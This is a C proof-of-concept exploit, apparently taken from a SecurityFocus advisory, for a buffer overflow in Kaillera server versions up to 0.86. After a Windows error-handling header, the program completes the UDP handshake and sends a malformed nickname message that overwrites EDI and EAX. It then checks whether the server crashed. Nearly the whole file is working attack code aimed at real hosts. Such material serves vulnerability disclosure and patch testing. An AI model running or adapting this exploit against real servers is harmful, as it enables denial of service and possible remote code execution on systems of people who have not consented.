348 lines
No EOL
9.4 KiB
C
348 lines
No EOL
9.4 KiB
C
// source: https://www.securityfocus.com/bid/18871/info
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Kaillera is prone to a buffer-overflow vulnerability because it fails to properly bounds-check messages before copying them to an insufficiently sized memory buffer.
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Successful exploits can allow remote attackers to execute arbitrary machine code in the context of the user running the application.
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/********************************* winerr.h
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Header file used for manage errors in Windows
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It support socket and errno too
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(this header replace the previous sock_errX.h)
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*/
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#include <string.h>
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#include <errno.h>
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void std_err(void) {
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char *error;
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switch(WSAGetLastError()) {
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case 10004: error = "Interrupted system call"; break;
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case 10009: error = "Bad file number"; break;
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case 10013: error = "Permission denied"; break;
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case 10014: error = "Bad address"; break;
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case 10022: error = "Invalid argument (not bind)"; break;
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case 10024: error = "Too many open files"; break;
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case 10035: error = "Operation would block"; break;
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case 10036: error = "Operation now in progress"; break;
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case 10037: error = "Operation already in progress"; break;
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case 10038: error = "Socket operation on non-socket"; break;
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case 10039: error = "Destination address required"; break;
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case 10040: error = "Message too long"; break;
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case 10041: error = "Protocol wrong type for socket"; break;
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case 10042: error = "Bad protocol option"; break;
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case 10043: error = "Protocol not supported"; break;
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case 10044: error = "Socket type not supported"; break;
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case 10045: error = "Operation not supported on socket"; break;
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case 10046: error = "Protocol family not supported"; break;
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case 10047: error = "Address family not supported by protocol family"; break;
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case 10048: error = "Address already in use"; break;
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case 10049: error = "Can't assign requested address"; break;
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case 10050: error = "Network is down"; break;
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case 10051: error = "Network is unreachable"; break;
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case 10052: error = "Net dropped connection or reset"; break;
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case 10053: error = "Software caused connection abort"; break;
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case 10054: error = "Connection reset by peer"; break;
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case 10055: error = "No buffer space available"; break;
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case 10056: error = "Socket is already connected"; break;
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case 10057: error = "Socket is not connected"; break;
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case 10058: error = "Can't send after socket shutdown"; break;
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case 10059: error = "Too many references, can't splice"; break;
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case 10060: error = "Connection timed out"; break;
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case 10061: error = "Connection refused"; break;
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case 10062: error = "Too many levels of symbolic links"; break;
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case 10063: error = "File name too long"; break;
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case 10064: error = "Host is down"; break;
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case 10065: error = "No Route to Host"; break;
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case 10066: error = "Directory not empty"; break;
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case 10067: error = "Too many processes"; break;
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case 10068: error = "Too many users"; break;
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case 10069: error = "Disc Quota Exceeded"; break;
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case 10070: error = "Stale NFS file handle"; break;
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case 10091: error = "Network SubSystem is unavailable"; break;
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case 10092: error = "WINSOCK DLL Version out of range"; break;
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case 10093: error = "Successful WSASTARTUP not yet performed"; break;
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case 10071: error = "Too many levels of remote in path"; break;
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case 11001: error = "Host not found"; break;
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case 11002: error = "Non-Authoritative Host not found"; break;
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case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
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case 11004: error = "Valid name, no data record of requested type"; break;
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default: error = strerror(errno); break;
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}
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fprintf(stderr, "\nError: %s\n", error);
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exit(1);
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}
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/************************************ eof
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********************************** kailleraex.c
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/*
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by Luigi Auriemma
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <stdint.h>
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#include <time.h>
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#ifdef WIN32
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#include <winsock.h>
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#include "winerr.h"
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#define close closesocket
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#define sleep Sleep
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#define ONESEC 1000
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#else
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#include <unistd.h>
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#include <sys/socket.h>
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#include <sys/types.h>
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#include <arpa/inet.h>
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#include <netinet/in.h>
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#include <netdb.h>
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#define ONESEC 1
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#endif
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#define VER "0.1"
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#define PORT 27888
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#define BUFFSZ 0xffff
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#define NICK "nickname_aaaaaaaaaaaaaaaaaaaaaaa" \
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"bbbb" /* EDI */ \
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"cccc" /* EAX */
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int put08(u_char *data, int num);
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int put16(u_char *data, int num);
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int putsc(u_char *data, u_char *src);
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void delimit(u_char *data);
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int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err);
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int timeout(int sock, int secs);
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u_int resolv(char *host);
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void std_err(void);
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struct sockaddr_in peer;
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int main(int argc, char *argv[]) {
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float ver = 0.83;
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int sd,
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seq,
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len;
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u_short port = PORT;
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u_char *buff,
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*p,
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*t;
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#ifdef WIN32
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WSADATA wsadata;
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WSAStartup(MAKEWORD(1,0), &wsadata);
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#endif
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setbuf(stdout, NULL);
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fputs("\n"
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"Kaillera <= 0.86 possible code execution "VER"\n"
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"by Luigi Auriemma\n"
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"e-mail: aluigi@autistici.org\n"
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"web: aluigi.org\n"
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"\n", stdout);
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if(argc < 2) {
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printf("\n"
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"Usage: %s <host> [port(%hu)]\n"
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"\n", argv[0], port);
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exit(1);
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}
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if(argc > 2) port = atoi(argv[2]);
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peer.sin_addr.s_addr = resolv(argv[1]);
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peer.sin_port = htons(port);
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peer.sin_family = AF_INET;
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printf("- target %s : %hu\n",
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inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));
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buff = malloc(BUFFSZ);
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if(!buff) std_err();
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sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
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if(sd < 0) std_err();
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redo:
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len = sprintf(buff, "HELLO%1.2f", ver);
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len = send_recv(sd, buff, len, buff, BUFFSZ, 1);
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if(memcmp(buff, "HELLOD00D", 9)) {
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if(!strcmp(buff, "VER")) {
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ver += 0.01;
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printf("- try version %1.2f\n", ver);
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goto redo;
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}
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printf("\nError: wrong reply from the server: %s\n\n", buff);
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exit(1);
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}
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seq = 0;
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peer.sin_port = htons(atoi(buff + 9));
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printf("- connect to port %hu\n", ntohs(peer.sin_port));
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p = buff;
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p += put08(p, 1); // number of messages
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p += put16(p, seq++); // sequence
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t = p; p += 2; // size of message
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p += put08(p, 3); // type of message
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// message:
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p += putsc(p, NICK);
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p += putsc(p, "emulator");
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p += put08(p, 1);
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put16(t, (p - t) - 1);
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printf(
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"- send malformed message:\n"
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" data = 0x%08x\n"
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" data_size = 0x%08x\n",
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*(uint32_t *)(NICK + 32),
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*(uint32_t *)(NICK + 32 + 4));
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len = send_recv(sd, buff, p - buff, buff, BUFFSZ, 0);
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sleep(ONESEC);
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printf("- check server:\n");
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len = sprintf(buff, "HELLO%1.2f", ver);
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len = send_recv(sd, buff, len, buff, BUFFSZ, 0);
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if(len < 0) {
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printf("\n Server IS vulenrable!!!\n\n");
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} else {
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printf("\n Server doesn't seem vulenrable\n\n");
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}
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close(sd);
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return(0);
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}
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int put08(u_char *data, int num) {
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data[0] = num;
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return(1);
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}
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int put16(u_char *data, int num) {
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data[0] = num;
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data[1] = num >> 8;
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return(2);
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}
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int putsc(u_char *data, u_char *src) {
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return(sprintf(data, "%s", src) + 1);
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}
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void delimit(u_char *data) {
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while(*data && (*data != '\n') && (*data != '\r')) data++;
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*data = 0;
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}
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int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err) {
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int retry,
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len;
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if(in && !out) {
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if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
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< 0) std_err();
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return(0);
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} else if(in) {
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for(retry = 3; retry; retry--) {
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if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
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< 0) std_err();
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if(!timeout(sd, 1)) break;
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}
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if(!retry) {
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goto timeout_received;
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}
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} else {
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if(timeout(sd, 3) < 0) {
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goto timeout_received;
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}
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}
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len = recvfrom(sd, out, outsz, 0, NULL, NULL);
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if(len < 0) std_err();
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return(len);
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timeout_received:
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if(err) {
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printf("\nError: socket timeout, no reply received\n\n");
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exit(1);
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}
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return(-1);
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}
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int timeout(int sock, int sec) {
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struct timeval tout;
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fd_set fd_read;
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int err;
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tout.tv_sec = sec;
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tout.tv_usec = 0;
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FD_ZERO(&fd_read);
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FD_SET(sock, &fd_read);
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err = select(sock + 1, &fd_read, NULL, NULL, &tout);
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if(err < 0) std_err();
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if(!err) return(-1);
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return(0);
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}
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u_int resolv(char *host) {
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struct hostent *hp;
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u_int host_ip;
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host_ip = inet_addr(host);
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if(host_ip == INADDR_NONE) {
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hp = gethostbyname(host);
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if(!hp) {
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printf("\nError: Unable to resolv hostname (%s)\n", host);
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exit(1);
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} else host_ip = *(u_int *)hp->h_addr;
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}
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return(host_ip);
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}
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#ifndef WIN32
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void std_err(void) {
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perror("\nError");
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exit(1);
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}
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#endif
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/************************************ eof
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